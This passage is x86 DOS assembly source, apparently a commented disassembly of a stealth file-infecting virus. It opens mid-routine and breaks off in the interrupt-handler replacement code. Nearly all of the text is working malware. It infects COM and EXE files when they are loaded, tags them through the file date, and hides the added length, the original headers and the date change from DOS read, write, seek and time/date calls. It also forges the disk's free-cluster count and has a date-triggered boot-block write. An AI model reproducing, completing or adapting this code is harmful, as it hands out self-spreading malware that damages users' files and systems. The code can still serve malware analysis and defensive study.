push es
|
|||
|
pop ds ; mov to ds:bx
|
|||
|
pop es
|
|||
|
retn
|
|||
|
execute:
|
|||
|
or al,al ; load and execute?
|
|||
|
jz loadexecute ; yepper!
|
|||
|
jmp checkloadnoexecute ; otherwise check if
|
|||
|
; load/no execute
|
|||
|
loadexecute:
|
|||
|
push ds ; save filename
|
|||
|
push dx
|
|||
|
mov word ptr cs:parmblock,bx; save parameter block and
|
|||
|
mov word ptr cs:parmblock+2,es; move to ds:si
|
|||
|
lds si,dword ptr cs:parmblock
|
|||
|
mov di,offset copyparmblock ; copy the parameter block
|
|||
|
mov cx,0Eh
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
rep movsb
|
|||
|
pop si ; copy the filename
|
|||
|
pop ds ; to the buffer
|
|||
|
mov di,offset copyfilename
|
|||
|
mov cx,50h
|
|||
|
rep movsb
|
|||
|
mov bx,0FFFFh
|
|||
|
call allocate_memory ; allocate available memory
|
|||
|
call _popall
|
|||
|
pop bp ; save the parameters
|
|||
|
pop word ptr cs:saveoffset ; on the stack
|
|||
|
pop word ptr cs:savesegment
|
|||
|
pop word ptr cs:int21flags
|
|||
|
mov ax,4B01h ; load/no execute
|
|||
|
push cs ; ds:dx -> file name
|
|||
|
pop es ; es:bx -> parameter block
|
|||
|
mov bx,offset copyparmblock
|
|||
|
pushf ; perform interrupt 21h
|
|||
|
call dword ptr cs:oldint21
|
|||
|
jnc continue_loadexecute ; continue if no error
|
|||
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
push word ptr cs:int21flags ; if error
|
|||
|
push word ptr cs:savesegment ; restore stack
|
|||
|
push word ptr cs:saveoffset
|
|||
|
push bp ; restore the stack frame
|
|||
|
mov bp,sp ; and restore ES:BX to
|
|||
|
les bx,dword ptr cs:parmblock ; point to the parameter
|
|||
|
jmp exitint21 ; block
|
|||
|
continue_loadexecute:
|
|||
|
call getcurrentPSP
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset handletable ; scan the handle table
|
|||
|
mov cx,14h ; for the current PSP's
|
|||
|
scanhandle_loadexecute: ; handles
|
|||
|
mov ax,cs:currentPSP
|
|||
|
repne scasw
|
|||
|
jnz loadexecute_checkEXE
|
|||
|
mov word ptr es:[di-2],0 ; clear entry in handle table
|
|||
|
inc byte ptr cs:handlesleft ; fix handlesleft counter
|
|||
|
jmp short scanhandle_loadexecute
|
|||
|
loadexecute_checkEXE:
|
|||
|
lds si,dword ptr cs:origcsip
|
|||
|
cmp si,1 ; Check if EXE infected
|
|||
|
jne loadexecute_checkCOM
|
|||
|
mov dx,word ptr ds:oldheader+16h ; get initial CS
|
|||
|
add dx,10h ; adjust for PSP
|
|||
|
mov ah,51h ; Get current PSP segment
|
|||
|
call callint21
|
|||
|
add dx,bx ;adjust for start load segment
|
|||
|
mov word ptr cs:origcsip+2,dx
|
|||
|
push word ptr ds:oldheader+14h ; save old IP
|
|||
|
pop word ptr cs:origcsip
|
|||
|
add bx,10h ; adjust for the PSP
|
|||
|
add bx,word ptr ds:oldheader+0Eh ; add old SS
|
|||
|
mov cs:origss,bx
|
|||
|
push word ptr ds:oldheader+10h ; old SP
|
|||
|
pop word ptr cs:origsp
|
|||
|
jmp short perform_loadexecute
|
|||
|
loadexecute_checkCOM:
|
|||
|
mov ax,[si] ; Check if COM infected
|
|||
|
add ax,[si+2]
|
|||
|
add ax,[si+4]
|
|||
|
jz loadexecute_doCOM ; exit if already infected
|
|||
|
push cs ; otherwise check to see
|
|||
|
pop ds ; if it is suitable for
|
|||
|
mov dx,offset copyfilename ; infection
|
|||
|
call checkdsdxokinfect
|
|||
|
call setup_infection
|
|||
|
inc byte ptr cs:hideclustercountchange
|
|||
|
call infect_file ; infect the file
|
|||
|
dec byte ptr cs:hideclustercountchange
|
|||
|
perform_loadexecute:
|
|||
|
mov ah,51h ; Get current PSP segment
|
|||
|
call callint21
|
|||
|
call saveregs
|
|||
|
call restoreBREAK
|
|||
|
call swapvirint21
|
|||
|
call restoreregs
|
|||
|
mov ds,bx ; ds = current PSP segment
|
|||
|
mov es,bx ; es = current PSP segment
|
|||
|
push word ptr cs:int21flags ; restore stack parameters
|
|||
|
push word ptr cs:savesegment
|
|||
|
push word ptr cs:saveoffset
|
|||
|
pop word ptr ds:[0Ah] ; Set terminate address in PSP
|
|||
|
pop word ptr ds:[0Ch] ; to return address found on
|
|||
|
; the stack
|
|||
|
; (int 21h caller CS:IP)
|
|||
|
push ds
|
|||
|
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
|
|||
|
mov al,22h ; Set terminate address to it
|
|||
|
call setvect
|
|||
|
pop ds
|
|||
|
popf
|
|||
|
pop ax
|
|||
|
mov ss,cs:origss ; restore the stack
|
|||
|
mov sp,cs:origsp ; and
|
|||
|
jmp dword ptr cs:origcsip ; perform the execute
|
|||
|
|
|||
|
loadexecute_doCOM:
|
|||
|
mov bx,[si+1] ; restore original COM file
|
|||
|
mov ax,word ptr ds:[bx+si-261h]
|
|||
|
mov [si],ax
|
|||
|
mov ax,word ptr ds:[bx+si-25Fh]
|
|||
|
mov [si+2],ax
|
|||
|
mov ax,word ptr ds:[bx+si-25Dh]
|
|||
|
mov [si+4],ax
|
|||
|
jmp short perform_loadexecute
|
|||
|
checkloadnoexecute:
|
|||
|
cmp al,1
|
|||
|
je loadnoexecute
|
|||
|
jmp exitotherint21
|
|||
|
loadnoexecute:
|
|||
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
mov word ptr cs:parmblock,bx; save pointer to parameter
|
|||
|
mov word ptr cs:parmblock+2,es ; block
|
|||
|
call _popall
|
|||
|
call callint21 ; chain to int 21h
|
|||
|
call _pushall
|
|||
|
les bx,dword ptr cs:parmblock ; restore pointer to
|
|||
|
; parameter block
|
|||
|
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
|
|||
|
jc exit_loadnoexecute
|
|||
|
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
|||
|
cmp si,1 ; check for EXE infection
|
|||
|
je loadnoexecute_EXE_already_infected
|
|||
|
; infected if initial IP = 1
|
|||
|
mov ax,[si] ; check for COM infection
|
|||
|
add ax,[si+2] ; infected if checksum = 0
|
|||
|
add ax,[si+4]
|
|||
|
jnz perform_the_execute
|
|||
|
mov bx,[si+1] ; get jmp location
|
|||
|
mov ax,ds:[bx+si-261h] ; restore original COM file
|
|||
|
mov [si],ax
|
|||
|
mov ax,ds:[bx+si-25Fh]
|
|||
|
mov [si+2],ax
|
|||
|
mov ax,ds:[bx+si-25Dh]
|
|||
|
mov [si+4],ax
|
|||
|
jmp short perform_the_execute
|
|||
|
loadnoexecute_EXE_already_infected:
|
|||
|
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
|
|||
|
call getcurrentPSP
|
|||
|
mov cx,cs:currentPSP
|
|||
|
add cx,10h ; adjust for PSP
|
|||
|
add dx,cx
|
|||
|
mov es:[bx+14h],dx ; alter the entry point CS
|
|||
|
mov ax,word ptr ds:oldheader+14h
|
|||
|
mov es:[bx+12h],ax
|
|||
|
mov ax,word ptr ds:oldheader+0Eh ; alter stack
|
|||
|
add ax,cx
|
|||
|
mov es:[bx+10h],ax
|
|||
|
mov ax,word ptr ds:oldheader+10h
|
|||
|
mov es:[bx+0Eh],ax
|
|||
|
perform_the_execute:
|
|||
|
call getcurrentPSP
|
|||
|
mov ds,cs:currentPSP
|
|||
|
mov ax,[bp+2] ; restore length as held in
|
|||
|
mov word ptr ds:oldheader+6,ax
|
|||
|
mov ax,[bp+4] ; the EXE header
|
|||
|
mov word ptr ds:oldheader+8,ax
|
|||
|
exit_loadnoexecute:
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
getDOSversion:
|
|||
|
mov byte ptr cs:hide_size,0
|
|||
|
mov ah,2Ah ; Get date
|
|||
|
call callint21
|
|||
|
cmp dx,916h ; September 22?
|
|||
|
jb exitDOSversion ; leave if not
|
|||
|
call writebootblock ; this is broken
|
|||
|
exitDOSversion:
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
infect_file:
|
|||
|
call replaceint13and24
|
|||
|
call findnextparagraphboundary
|
|||
|
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
|
|||
|
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
|
|||
|
je clearlyisanEXE ; EXE header
|
|||
|
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
|
|||
|
je clearlyisanEXE ; EXE header
|
|||
|
dec byte ptr ds:EXEflag ; if neither, assume is a
|
|||
|
jz try_infect_com ; COM file
|
|||
|
clearlyisanEXE:
|
|||
|
mov ax,ds:lengthinpages ; get file size in pages
|
|||
|
shl cx,1 ; and convert it to
|
|||
|
mul cx ; bytes
|
|||
|
add ax,200h ; add 512 bytes
|
|||
|
cmp ax,si
|
|||
|
jb go_exit_infect_file
|
|||
|
mov ax,ds:minmemory ; make sure min and max memory
|
|||
|
or ax,ds:maxmemory ; are not both zero
|
|||
|
jz go_exit_infect_file
|
|||
|
mov ax,ds:filesizelow ; get filesize in dx:ax
|
|||
|
mov dx,ds:filesizehigh
|
|||
|
mov cx,200h ; convert to pages
|
|||
|
div cx
|
|||
|
or dx,dx ; filesize multiple of 512?
|
|||
|
jz filesizemultiple512 ; then don't increment #
|
|||
|
inc ax ; pages
|
|||
|
filesizemultiple512:
|
|||
|
mov ds:lengthinpages,ax ; put in new values for length
|
|||
|
mov ds:lengthMOD512,dx ; fields
|
|||
|
cmp word ptr ds:initialIP,1 ; check if already infected
|
|||
|
je exit_infect_file
|
|||
|
mov word ptr ds:initialIP,1 ; set new entry point
|
|||
|
mov ax,si ; calculate new entry point
|
|||
|
sub ax,ds:headersize ; segment
|
|||
|
mov ds:initialcs,ax ; put this in for cs
|
|||
|
add word ptr ds:lengthinpages,8 ; 4K more
|
|||
|
mov ds:initialSS,ax ; put entry segment in for SS
|
|||
|
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
|
|||
|
call finish_infection
|
|||
|
go_exit_infect_file:
|
|||
|
jmp short exit_infect_file
|
|||
|
try_infect_com:
|
|||
|
cmp si,0F00h ; make sure file is under
|
|||
|
jae exit_infect_file ; F00h paragraphs or else
|
|||
|
; it will be too large once it
|
|||
|
; is infected
|
|||
|
mov ax,ds:readbuffer ; first save first 6 bytes
|
|||
|
mov word ptr ds:oldheader,ax
|
|||
|
add dx,ax
|
|||
|
mov ax,ds:readbuffer+2
|
|||
|
mov word ptr ds:oldheader+2,ax
|
|||
|
add dx,ax
|
|||
|
mov ax,ds:readbuffer+4
|
|||
|
mov word ptr ds:oldheader+4,ax
|
|||
|
add dx,ax ; exit if checksum = 0
|
|||
|
jz exit_infect_file ; since then it is already
|
|||
|
; infected
|
|||
|
mov cl,0E9h ; encode jmp instruction
|
|||
|
mov byte ptr ds:readbuffer,cl
|
|||
|
mov ax,10h ; find file size
|
|||
|
mul si
|
|||
|
add ax,offset entervirus-3 ; calculate offset of jmp
|
|||
|
mov word ptr ds:readbuffer+1,ax ; encode it
|
|||
|
mov ax,ds:readbuffer ; checksum it to 0
|
|||
|
add ax,ds:readbuffer+2
|
|||
|
neg ax
|
|||
|
mov ds:readbuffer+4,ax
|
|||
|
call finish_infection
|
|||
|
exit_infect_file:
|
|||
|
mov ah,3Eh ; Close file
|
|||
|
call callint21
|
|||
|
call restoreint13and24
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
findnextparagraphboundary:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,5700h ; Get file time/date
|
|||
|
call callint21
|
|||
|
mov ds:filetime,cx
|
|||
|
mov ds:filedate,dx
|
|||
|
mov ax,4200h ; Go to beginning of file
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
call callint21
|
|||
|
mov ah,3Fh ; Read first 1Ch bytes
|
|||
|
mov cl,1Ch
|
|||
|
mov dx,offset readbuffer
|
|||
|
call callint21
|
|||
|
mov ax,4200h ; Go to beginning of file
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
call callint21
|
|||
|
mov ah,3Fh ; Read first 1Ch bytes
|
|||
|
mov cl,1Ch
|
|||
|
mov dx,offset oldheader
|
|||
|
call callint21
|
|||
|
mov ax,4202h ; Go to end of file
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
call callint21
|
|||
|
mov ds:filesizelow,ax ; save filesize
|
|||
|
mov ds:filesizehigh,dx
|
|||
|
mov di,ax
|
|||
|
add ax,0Fh ; round to nearest paragraph
|
|||
|
adc dx,0 ; boundary
|
|||
|
and ax,0FFF0h
|
|||
|
sub di,ax ; di=# bytes to next paragraph
|
|||
|
mov cx,10h ; normalize filesize
|
|||
|
div cx ; to paragraphs
|
|||
|
mov si,ax ; si = result
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
finish_infection:
|
|||
|
mov ax,4200h ; Go to beginning of file
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
call callint21
|
|||
|
mov ah,40h ; Write new header to file
|
|||
|
mov cl,1Ch
|
|||
|
mov dx,offset readbuffer
|
|||
|
call callint21
|
|||
|
mov ax,10h ; convert paragraph boundary
|
|||
|
mul si ; to a byte value
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
mov ax,4200h ; go to first paragraph
|
|||
|
call callint21 ; boundary at end of file
|
|||
|
xor dx,dx
|
|||
|
mov cx,1000h
|
|||
|
add cx,di
|
|||
|
mov ah,40h ; Concatenate virus to file
|
|||
|
call callint21
|
|||
|
mov ax,5701h ; Restore file time/date
|
|||
|
mov cx,ds:filetime
|
|||
|
mov dx,ds:filedate
|
|||
|
test dh,80h ; check for infection bit
|
|||
|
jnz highbitset
|
|||
|
add dh,0C8h ; alter if not set yet
|
|||
|
highbitset:
|
|||
|
call callint21
|
|||
|
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
|
|||
|
jb exit_finish_infection ; do not hide the alteration
|
|||
|
; in cluster count
|
|||
|
cmp byte ptr ds:hideclustercountchange,0
|
|||
|
je exit_finish_infection
|
|||
|
push bx
|
|||
|
mov dl,ds:filedrive
|
|||
|
mov ah,32h ; Get drive parameter block
|
|||
|
call callint21 ; for drive dl
|
|||
|
mov ax,cs:numfreeclusters
|
|||
|
mov [bx+1Eh],ax ; alter free cluster count
|
|||
|
pop bx
|
|||
|
exit_finish_infection:
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
checkFCBokinfect:
|
|||
|
call saveregs
|
|||
|
mov di,dx
|
|||
|
add di,0Dh ; skip to extension
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
jmp short performchecksum ; and check checksum for valid
|
|||
|
; checksum
|
|||
|
|
|||
|
checkdsdxokinfect:
|
|||
|
call saveregs
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov di,dx
|
|||
|
mov cx,50h ; max filespec length
|
|||
|
xor ax,ax
|
|||
|
mov bl,0 ; default drive
|
|||
|
cmp byte ptr [di+1],':' ; Is there a drive spec?
|
|||
|
jne ondefaultdrive ; nope, skip it
|
|||
|
mov bl,[di] ; yup, get drive
|
|||
|
and bl,1Fh ; and convert to number
|
|||
|
ondefaultdrive:
|
|||
|
mov cs:filedrive,bl
|
|||
|
repne scasb ; find terminating 0 byte
|
|||
|
performchecksum:
|
|||
|
mov ax,[di-3]
|
|||
|
and ax,0DFDFh ; convert to uppercase
|
|||
|
add ah,al
|
|||
|
mov al,[di-4]
|
|||
|
and al,0DFh ; convert to uppercase
|
|||
|
add al,ah
|
|||
|
mov byte ptr cs:EXEflag,0 ; assume COM file
|
|||
|
cmp al,0DFh ; COM checksum?
|
|||
|
je COMchecksum
|
|||
|
inc byte ptr cs:EXEflag ; assume EXE file
|
|||
|
cmp al,0E2h ; EXE checksum?
|
|||
|
jne otherchecksum
|
|||
|
COMchecksum:
|
|||
|
call restoreregs
|
|||
|
clc ; mark no error
|
|||
|
retn
|
|||
|
otherchecksum:
|
|||
|
call restoreregs
|
|||
|
stc ; mark error
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
getcurrentPSP:
|
|||
|
push bx
|
|||
|
mov ah,51h ; Get current PSP segment
|
|||
|
call callint21
|
|||
|
mov cs:currentPSP,bx ; store it
|
|||
|
pop bx
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
setup_infection:
|
|||
|
call replaceint13and24
|
|||
|
push dx
|
|||
|
mov dl,cs:filedrive
|
|||
|
mov ah,36h ; Get disk free space
|
|||
|
call callint21
|
|||
|
mul cx ; ax = bytes per cluster
|
|||
|
mul bx ; dx:ax = bytes free space
|
|||
|
mov bx,dx
|
|||
|
pop dx
|
|||
|
or bx,bx ; less than 65536 bytes free?
|
|||
|
jnz enough_free_space ; hopefully not
|
|||
|
cmp ax,4000h ; exit if less than 16384
|
|||
|
jb exit_setup_infection ; bytes free
|
|||
|
enough_free_space:
|
|||
|
mov ax,4300h ; Get file attributes
|
|||
|
call callint21
|
|||
|
jc exit_setup_infection ; exit on error
|
|||
|
mov di,cx ; di = attributes
|
|||
|
xor cx,cx
|
|||
|
mov ax,4301h ; Clear file attributes
|
|||
|
call callint21
|
|||
|
cmp byte ptr cs:errorflag,0 ; check for errors
|
|||
|
jne exit_setup_infection
|
|||
|
mov ax,3D02h ; Open file read/write
|
|||
|
call callint21
|
|||
|
jc exit_setup_infection ; exit on error
|
|||
|
mov bx,ax ; move handle to bx
|
|||
|
; xchg bx,ax is superior
|
|||
|
mov cx,di
|
|||
|
mov ax,4301h ; Restore file attributes
|
|||
|
call callint21
|
|||
|
push bx
|
|||
|
mov dl,cs:filedrive ; Get file's drive number
|
|||
|
mov ah,32h ; Get drive parameter block
|
|||
|
call callint21 ; for disk dl
|
|||
|
mov ax,[bx+1Eh] ; Get free cluster count
|
|||
|
mov cs:numfreeclusters,ax ; and save it
|
|||
|
pop bx ; return handle
|
|||
|
call restoreint13and24
|
|||
|
retn
|
|||
|
exit_setup_infection:
|
|||
|
xor bx,bx
|
|||
|
dec bx ; return bx=-1 on error
|
|||
|
call restoreint13and24
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
checkforinfection:
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ax
|
|||
|
mov ax,4400h ; Get device information
|
|||
|
call callint21 ; (set hide_size = 2)
|
|||
|
xor dl,80h
|
|||
|
test dl,80h ; Character device? If so,
|
|||
|
jz exit_checkforinfection ; exit; cannot be infected
|
|||
|
mov ax,5700h ; Otherwise get time/date
|
|||
|
call callint21
|
|||
|
test dh,80h ; Check year bit for infection
|
|||
|
exit_checkforinfection:
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
obtainfilesize:
|
|||
|
call saveregs
|
|||
|
mov ax,4201h ; Get current file position
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
call callint21
|
|||
|
mov cs:curfileposlow,ax
|
|||
|
mov cs:curfileposhigh,dx
|
|||
|
mov ax,4202h ; Go to end of file
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
call callint21
|
|||
|
mov cs:filesizelow,ax
|
|||
|
mov cs:filesizehigh,dx
|
|||
|
mov ax,4200h ; Return to file position
|
|||
|
mov dx,cs:curfileposlow
|
|||
|
mov cx,cs:curfileposhigh
|
|||
|
call callint21
|
|||
|
call restoreregs
|
|||
|
retn
|
|||
|
|
|||
|
getsetfiletimedate:
|
|||
|
or al,al ; Get time/date?
|
|||
|
jnz checkifsettimedate ; if not, see if Set time/date
|
|||
|
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
|||
|
call _popall
|
|||
|
call callint21
|
|||
|
jc gettimedate_error ; exit on error
|
|||
|
test dh,80h ; check year bit if infected
|
|||
|
jz gettimedate_notinfected
|
|||
|
sub dh,0C8h ; if so, hide change
|
|||
|
gettimedate_notinfected:
|
|||
|
jmp exitint21
|
|||
|
gettimedate_error:
|
|||
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
jmp exitint21
|
|||
|
checkifsettimedate:
|
|||
|
cmp al,1 ; Set time/date?
|
|||
|
jne exit_filetimedate_pointer
|
|||
|
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
|||
|
test dh,80h ; Infection bit set?
|
|||
|
jz set_yearbitset
|
|||
|
sub dh,0C8h ; clear infection bit
|
|||
|
set_yearbitset:
|
|||
|
call checkforinfection
|
|||
|
jz set_datetime_nofinagle
|
|||
|
add dh,0C8h ; set infection flag
|
|||
|
set_datetime_nofinagle:
|
|||
|
call callint21
|
|||
|
mov [bp-4],ax
|
|||
|
adc word ptr cs:int21flags,0; turn on/off trap flag
|
|||
|
jmp _popall_then_exitint21 ; depending on result
|
|||
|
|
|||
|
handlemovefilepointer:
|
|||
|
cmp al,2
|
|||
|
jne exit_filetimedate_pointer
|
|||
|
call checkforinfection
|
|||
|
jz exit_filetimedate_pointer
|
|||
|
sub word ptr [bp-0Ah],1000h ; hide file size
|
|||
|
sbb word ptr [bp-8],0
|
|||
|
exit_filetimedate_pointer:
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
handleread:
|
|||
|
and byte ptr cs:int21flags,0FEh ; clear trap flag
|
|||
|
call checkforinfection ; exit if it is not
|
|||
|
jz exit_filetimedate_pointer ; infected -- no need
|
|||
|
; to do stealthy stuff
|
|||
|
mov cs:savelength,cx
|
|||
|
mov cs:savebuffer,dx
|
|||
|
mov word ptr cs:return_code,0
|
|||
|
call obtainfilesize
|
|||
|
mov ax,cs:filesizelow ; store the file size
|
|||
|
mov dx,cs:filesizehigh
|
|||
|
sub ax,1000h ; get uninfected file size
|
|||
|
sbb dx,0
|
|||
|
sub ax,cs:curfileposlow ; check if currently in
|
|||
|
sbb dx,cs:curfileposhigh ; virus code
|
|||
|
jns not_in_virus_body ; continue if not
|
|||
|
mov word ptr [bp-4],0 ; set return code = 0
|
|||
|
jmp handleopenclose_exit
|
|||
|
not_in_virus_body:
|
|||
|
jnz not_reading_header
|
|||
|
cmp ax,cx ; reading from header?
|
|||
|
ja not_reading_header
|
|||
|
mov cs:savelength,ax ; # bytes into header
|
|||
|
not_reading_header:
|
|||
|
mov dx,cs:curfileposlow
|
|||
|
mov cx,cs:curfileposhigh
|
|||
|
or cx,cx ; if reading > 64K into file,
|
|||
|
jnz finish_reading ; then no problems
|
|||
|
cmp dx,1Ch ; if reading from header, then
|
|||
|
jbe reading_from_header ; do stealthy stuff
|
|||
|
finish_reading:
|
|||
|
mov dx,cs:savebuffer
|
|||
|
mov cx,cs:savelength
|
|||
|
mov ah,3Fh ; read file
|
|||
|
call callint21
|
|||
|
add ax,cs:return_code ; ax = bytes read
|
|||
|
mov [bp-4],ax ; set return code properly
|
|||
|
jmp _popall_then_exitint21
|
|||
|
reading_from_header:
|
|||
|
mov si,dx
|
|||
|
mov di,dx
|
|||
|
add di,cs:savelength
|
|||
|
cmp di,1Ch ; reading all of header?
|
|||
|
jb read_part_of_header ; nope, calculate how much
|
|||
|
xor di,di
|
|||
|
jmp short do_read_from_header
|
|||
|
read_part_of_header:
|
|||
|
sub di,1Ch
|
|||
|
neg di
|
|||
|
do_read_from_header:
|
|||
|
mov ax,dx
|
|||
|
mov cx,cs:filesizehigh ; calculate location in
|
|||
|
mov dx,cs:filesizelow ; the file of the virus
|
|||
|
add dx,0Fh ; storage area for the
|
|||
|
adc cx,0 ; original 1Ch bytes of
|
|||
|
and dx,0FFF0h ; the file
|
|||
|
sub dx,0FFCh
|
|||
|
sbb cx,0
|
|||
|
add dx,ax
|
|||
|
adc cx,0
|
|||
|
mov ax,4200h ; go to that location
|
|||
|
call callint21
|
|||
|
mov cx,1Ch
|
|||
|
sub cx,di
|
|||
|
sub cx,si
|
|||
|
mov ah,3Fh ; read the original header
|
|||
|
mov dx,cs:savebuffer
|
|||
|
call callint21
|
|||
|
add cs:savebuffer,ax
|
|||
|
sub cs:savelength,ax
|
|||
|
add cs:return_code,ax
|
|||
|
xor cx,cx ; go past the virus's header
|
|||
|
mov dx,1Ch
|
|||
|
mov ax,4200h
|
|||
|
call callint21
|
|||
|
jmp finish_reading ; and continue the reading
|
|||
|
|
|||
|
handlewrite:
|
|||
|
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
|||
|
call checkforinfection
|
|||
|
jnz continue_handlewrite
|
|||
|
jmp exit_filetimedate_pointer
|
|||
|
continue_handlewrite:
|
|||
|
mov cs:savelength,cx
|
|||
|
mov cs:savebuffer,dx
|
|||
|
mov word ptr cs:return_code,0
|
|||
|
call obtainfilesize
|
|||
|
mov ax,cs:filesizelow
|
|||
|
mov dx,cs:filesizehigh
|
|||
|
sub ax,1000h ; calculate original file
|
|||
|
sbb dx,0 ; size
|
|||
|
sub ax,cs:curfileposlow ; writing from inside the
|
|||
|
sbb dx,cs:curfileposhigh ; virus?
|
|||
|
js finish_write ; if not, we can continue
|
|||
|
jmp short write_inside_virus; otherwise, fixup some stuff
|
|||
|
finish_write:
|
|||
|
call replaceint13and24
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,ds:filesizelow ; calculate location in file
|
|||
|
mov cx,ds:filesizehigh ; of the virus storage of the
|
|||
|
add dx,0Fh ; original 1Ch bytes of the
|
|||
|
adc cx,0 ; file
|
|||
|
and dx,0FFF0h
|
|||
|
sub dx,0FFCh
|
|||
|
sbb cx,0
|
|||
|
mov ax,4200h
|
|||
|
call callint21
|
|||
|
mov dx,offset oldheader
|
|||
|
mov cx,1Ch
|
|||
|
mov ah,3Fh ; read original header
|
|||
|
call callint21
|
|||
|
mov ax,4200h ; go to beginning of file
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
call callint21
|
|||
|
mov dx,offset oldheader
|
|||
|
mov cx,1Ch
|
|||
|
mov ah,40h ; write original header to
|
|||
|
call callint21 ; the file
|
|||
|
mov dx,0F000h ; go back 4096 bytes
|
|||
|
mov cx,0FFFFh ; from the end of the
|
|||
|
mov ax,4202h ; file and
|
|||
|
call callint21
|
|||
|
mov ah,40h ; truncate the file
|
|||
|
xor cx,cx ; at that position
|
|||
|
call callint21
|
|||
|
mov dx,ds:curfileposlow ; Go to current file position
|
|||
|
mov cx,ds:curfileposhigh
|
|||
|
mov ax,4200h
|
|||
|
call callint21
|
|||
|
mov ax,5700h ; Get file time/date
|
|||
|
call callint21
|
|||
|
test dh,80h
|
|||
|
jz high_bit_aint_set
|
|||
|
sub dh,0C8h ; restore file date
|
|||
|
mov ax,5701h ; put it onto the disk
|
|||
|
call callint21
|
|||
|
high_bit_aint_set:
|
|||
|
call restoreint13and24
|
|||
|
jmp exitotherint21
|
|||
|
write_inside_virus:
|
|||
|
jnz write_inside_header ; write from start of file?
|
|||
|
cmp ax,cx
|
|||
|
ja write_inside_header ; write from inside header?
|
|||
|
jmp finish_write
|
|||
|
|
|||
|
write_inside_header:
|
|||
|
mov dx,cs:curfileposlow
|
|||
|
mov cx,cs:curfileposhigh
|
|||
|
or cx,cx ; Reading over 64K?
|
|||
|
jnz writemorethan1Chbytes
|
|||
|
cmp dx,1Ch ; Reading over 1Ch bytes?
|
|||
|
ja writemorethan1Chbytes
|
|||
|
jmp finish_write
|
|||
|
writemorethan1Chbytes:
|
|||
|
call _popall
|
|||
|
call callint21 ; chain to int 21h
|
|||
|
; (allow write to take place)
|
|||
|
call _pushall
|
|||
|
mov ax,5700h ; Get file time/date
|
|||
|
call callint21
|
|||
|
test dh,80h
|
|||
|
jnz _popall_then_exitint21_
|
|||
|
add dh,0C8h
|
|||
|
mov ax,5701h ; restore file date
|
|||
|
call callint21
|
|||
|
_popall_then_exitint21_:
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
int13:
|
|||
|
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
|
|||
|
pop word ptr cs:int13tempCSIP+2 ; the stack
|
|||
|
pop word ptr cs:int13flags
|
|||
|
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
|
|||
|
cmp byte ptr cs:errorflag,0 ; any errors yet?
|
|||
|
jne exitint13error ; yes, already an error
|
|||
|
push word ptr cs:int13flags
|
|||
|
call dword ptr cs:origints
|
|||
|
jnc exitint13
|
|||
|
inc byte ptr cs:errorflag ; mark error
|
|||
|
exitint13error:
|
|||
|
stc ; mark error
|
|||
|
exitint13:
|
|||
|
jmp dword ptr cs:int13tempCSIP ; return to caller
|
|||
|
|
|||
|
int24:
|
|||
|
xor al,al ; ignore error
|
|||
|
mov byte ptr cs:errorflag,1 ; mark error
|
|||
|
iret
|
|||
|
|
|||
|
replaceint13and24:
|
|||
|
mov byte ptr cs:errorflag,0 ; clear errors
|
|||
|
call saveregs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov al,13h ; save int 13 handler
|
|||
|
call getint
|
|||
|
mov word ptr ds:origints,bx
|
|||
|
mov word ptr ds:origints+2,es
|
|||
|
mov word ptr ds:oldint13,bx
|
|||
|
mov word ptr ds:oldint13+2,es
|
|||
|
mov dl,0
|
|||
|
mov al,0Dh ; fixed disk interrupt
|
|||
|
call getint
|
|||
|
mov ax,es
|
|||
|
cmp ax,0C000h ; is there a hard disk?
|
|||
|
jae harddiskpresent ; C000+ is in BIOS
|
|||
|
mov dl,2
|
|||
|
harddiskpresent:
|
|||
|
mov al,0Eh ; floppy disk interrupt
|
|||
|
call getint
|
|||
|
mov ax,es
|
|||
|
cmp ax,0C000h ; check if floppy
|
|||
|
jae floppypresent
|
|||
|
mov dl,2
|
|||
|
floppypresent:
|
|||
|
mov ds:tracemode,dl
|
|||
|
call replaceint1
|
|||
|
mov ds:savess,ss ; save stack
|
|||
|
mov ds:savesp,sp
|
